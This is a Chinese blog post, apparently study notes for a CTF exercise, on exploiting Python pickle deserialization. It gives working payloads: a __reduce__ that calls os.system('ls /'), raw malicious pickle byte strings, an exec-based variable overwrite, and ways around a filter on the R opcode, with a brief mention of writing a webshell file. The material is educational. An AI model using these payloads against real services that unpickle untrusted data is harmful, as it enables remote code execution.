【!总章程!】python反序列化入门学习
发布日期:2021-05-08 04:03:36 浏览次数:16 分类:精选文章

本文共 4938 字,大约阅读时间需要 16 分钟。

目录:

知识来源哦哦:

要手写的话,看这个是p0写的,下面是p3写的,不方便看,

1.利用__reduce__方法来RCE

代码分析 + 实例熟悉

最最基本的别忘了,,

在这里插入图片描述

生成二进制码,并且利用 逆向分析工具

# see the nomal Studentpayload = pickle.dumps(Student('rxz','G2'))payload = pickletools.optimize(payload)print(payload)pickletools.dis(payload)

这段代码就是练习python反序列化的例子,

import pickleimport osimport pickletoolsimport base64class Student():    def __init__(self,name,grade):        self.name = name        self.grade = grade    def __eq__(self, other):        return type(other) is Student and \        self.name == other.name and\        self.grade == other.grade"""# see the nomal Studentpayload = pickle.dumps(Student('rxz','G2'))payload = pickletools.optimize(payload)print(payload)pickletools.dis(payload)"""res = pickle.loads(b'\x80\x03c__main__\nStudent\n)\x81}(X\x04\x00\x00\x00nameX\x03\x00\x00\x00rxzX\x05\x00\x00\x00gradeX\x02\x00\x00\x00G2ub.')print(res)

这是正常的 Student 的反序列化的 二进制码

b'\x80\x03c__main__\nStudent\n)\x81}(X\x04\x00\x00\x00nameX\x03\x00\x00\x00rxzX\x05\x00\x00\x00gradeX\x02\x00\x00\x00G2ub.'

在这里插入图片描述

这个是 带有reduce的 student类

reduce实现如下:

def __reduce__(self):        return (os.system,('ls /',))

这是生成的二进制码

b'\x80\x03cposix\nsystem\nX\x04\x00\x00\x00ls /\x85R.'

在这里插入图片描述至于为什么 反序列化 时候,用__reduce__方法就能够执行呢。这个知乎的那篇文章已经讲的很清楚了,这里我只是自己输出一遍,看看自己理解的怎么样:

reduce呢,就是 两个参数,前面一个参数是方法,后面一个参数是一个字符串或者是元组,我们选择元组作为他的参数,也就是前面的那个方法的参数,这样就能够执行这个 方法了

而我们 学习那篇文章,又能知道 在反序列化时, R 操作符,会弹出栈顶两次,假设先弹出a,后后弹出b,那么就会执行b.a这样的方法,刚好和reduce方法一致,

这里我们看一下上面的 恶意的二进制的反序列化字符串:

res = pickle.loads(b'\x80\x03cposix\nsystem\nX\x04\x00\x00\x00ls /\x85R.')

c字符,__posix__.system压入栈,然后 字符串ls /入栈,然后执行 R 指令。

ls /出栈,__posix__.system出栈。执行__posix__.system(ls /)的命令,就执行了RCE了。

这是我牵强附会写的,肯定不对,只是为了顺畅分析而已,还是要看那个知乎文章去。

更换指令执行RCE

然后我们就可以修改任意指令了:

在这里插入图片描述

读写文件

在这里插入图片描述

这样会在当前py文件目录中生成poc.txt文件,如果这个py文件在网站跟目录里面的话,就可以连接木马了
在这里插入图片描述

变量覆盖

在这里插入图片描述

这个是正常运行reduce方法产生的序列化字符串,然后贴进去就行了

b"\x80\x03cbuiltins\nexec\nq\x00X\x17\x00\x00\x00key1=b'999'\nkey2=b'666'q\x01\x85q\x02Rq\x03."

更换模块名可以执行

在这里插入图片描述

之前是那个什么 posix

有了__reduce__之后,正常反序列化代码消失??

这是正常的 反序列化字符串

b'\x80\x03c__main__\nStudent\n)\x81}(X\x04\x00\x00\x00nameX\x03\x00\x00\x00rxzX\x05\x00\x00\x00gradeX\x02\x00\x00\x00G2ub.'

这是带有 __reduce__的反序列化字符串

res = pickle.loads(b'\x80\x03cposix\nsystem\nX\x04\x00\x00\x00ls /\x85R.')

可见,很多反序列化的信息都没有了啊,,,

没查出些什么来,就是说python会在序列化的时候调用 reduce 。。

重磅: 如何手写opcode?

在这里插入图片描述

阅读一段最简单的代码:

在这里插入图片描述

我的猜测是正确的,\x85,\x86,\x87不仅仅是压入一个空元组,而是把相应个数的栈顶元素放入这个元组中,然后将这个非空元组压入栈顶。

见下图:

在这里插入图片描述

在这里插入图片描述

2.当禁止使用reduce的时候,也就是过滤了 R 的时候

1.全局变量包含:c指令码的妙用

在这里插入图片描述

我们先获取一个正常的 序列化 字符串

b'\x80\x03c__main__\nStudent\n)\x81}(X\x05\x00\x00\x00gradeX\x02\x00\x00\x00G2X\x04\x00\x00\x00nameX\x03\x00\x00\x00rxzub.'

然后 用c 指令来进行绕过

这个是用c给代替了的,能够正常反序列化出来Student实例

b'\x80\x03c__main__\nStudent\n)\x81}(X\x04\x00\x00\x00namecblue\nname\nX\x05\x00\x00\x00gradecblue\ngrade\nub.'

这里用的就是 c 来代替 。从而该改变了 内部的信息

在这里插入图片描述

我改了改,改成这个样子了

bb.py

# -*- coding: UTF-8 -*-import pickleimport osimport pickletoolsimport base64class Student():    def __init__(self,name,grade):        self.name = name        self.grade = grade    def __eq__(self, other):        return type(other) is Student and \        self.name == other.name and\        self.grade == other.grade"""# see the nomal Studentpayload = pickle.dumps(Student('rxz','G2'))payload = pickletools.optimize(payload)print(payload)pickletools.dis(payload)"""import bluedef check(data):    if b'R' in data:        print ('no reduce!')    x = pickle.loads(data) #  unserializtion    if(x != Student(blue.name,blue.grade)):        print('not equal >_<')    print('wel dome')# check 里面写我们构造的 恶意的反序列话的 二进制的字符串check(b'\x80\x03c__main__\nStudent\n)\x81}(X\x04\x00\x00\x00namecblue\nname\nX\x05\x00\x00\x00gradecblue\ngrade\nub.')

blue.py

name = 'QAQ'grade = 'G666'

这里用的就是 c 来代替

在这里插入图片描述

3.绕过c指令的module限制:先读入,再篡改,

在这里插入图片描述

先看一下正常的 序列化什么样子

在这里插入图片描述

这个是正常的 反序列化的字符串

b'\x80\x03c__main__\nStudent\n)\x81}(X\x05\x00\x00\x00gradeX\x02\x00\x00\x00G2X\x04\x00\x00\x00nameX\x03\x00\x00\x00rxzub.'

然后尝试和上面的一样,引入 blue 中的那些

这里!!!!!!!!!

修改的这里,我应该是要会手写进去的,而不是会复制粘贴进去

修改成这样:然后放进去,就好了

b'\x80\x03c__main__\nStudent\n)\x81}(X\x04\x00\x00\x00namecblue\nname\nX\x05\x00\x00\x00gradecblue\ngrade\nub.'

在这里插入图片描述

在这里插入图片描述
同时成功修改了 name和grade。

贴一下代码把:

没有留备份代码

# -*- coding: UTF-8 -*-import pickleimport osimport pickletoolsimport base64class Student():    def __init__(self,name,grade):        self.name = 'rxz'        self.grade='G2'"""# see the nomal Studentpayload = pickle.dumps(Student('rxz','G2'))payload = pickletools.optimize(payload)print(payload)pickletools.dis(payload)"""import bluedef check(data):    if b'R' in data:        print ('no reduce!')        exit()    x = pickle.loads(data) #  unserializtion    if(x != Student(blue.name,blue.grade)):        print('not equal >_<')        exit()    print('wel dome')    exit()s=b'\x80\x03c__main__\nblue\n}(Vname\nVrua\nVgrade\nVwww\nub0c__main__\nStudent\n)\x81}(X\x04\x00\x00\x00nameX\x03\x00\x00\x00ruaX\x05\x00\x00\x00gradeX\x03\x00\x00\x00wwwub.'s = pickletools.optimize(s)pickletools.dis(s)print(s)res = pickle.loads(s)print(res.name,res.grade)

4.不用reduce,也能RCE

这个我将P牛的文章 细细分析了一波,可以看一看。

基本功的第四点:

5.回到这个题上面去了,实践一下

在这里插入图片描述

上一篇:【附件】python的 str.index()的index()解释
下一篇:【AWD附件】脚本学习 ------ PHP监控流量脚本 +++学习解释

发表评论

最新留言

逛到本站,mark一下
[***.202.152.39]2025年03月23日 11时17分43秒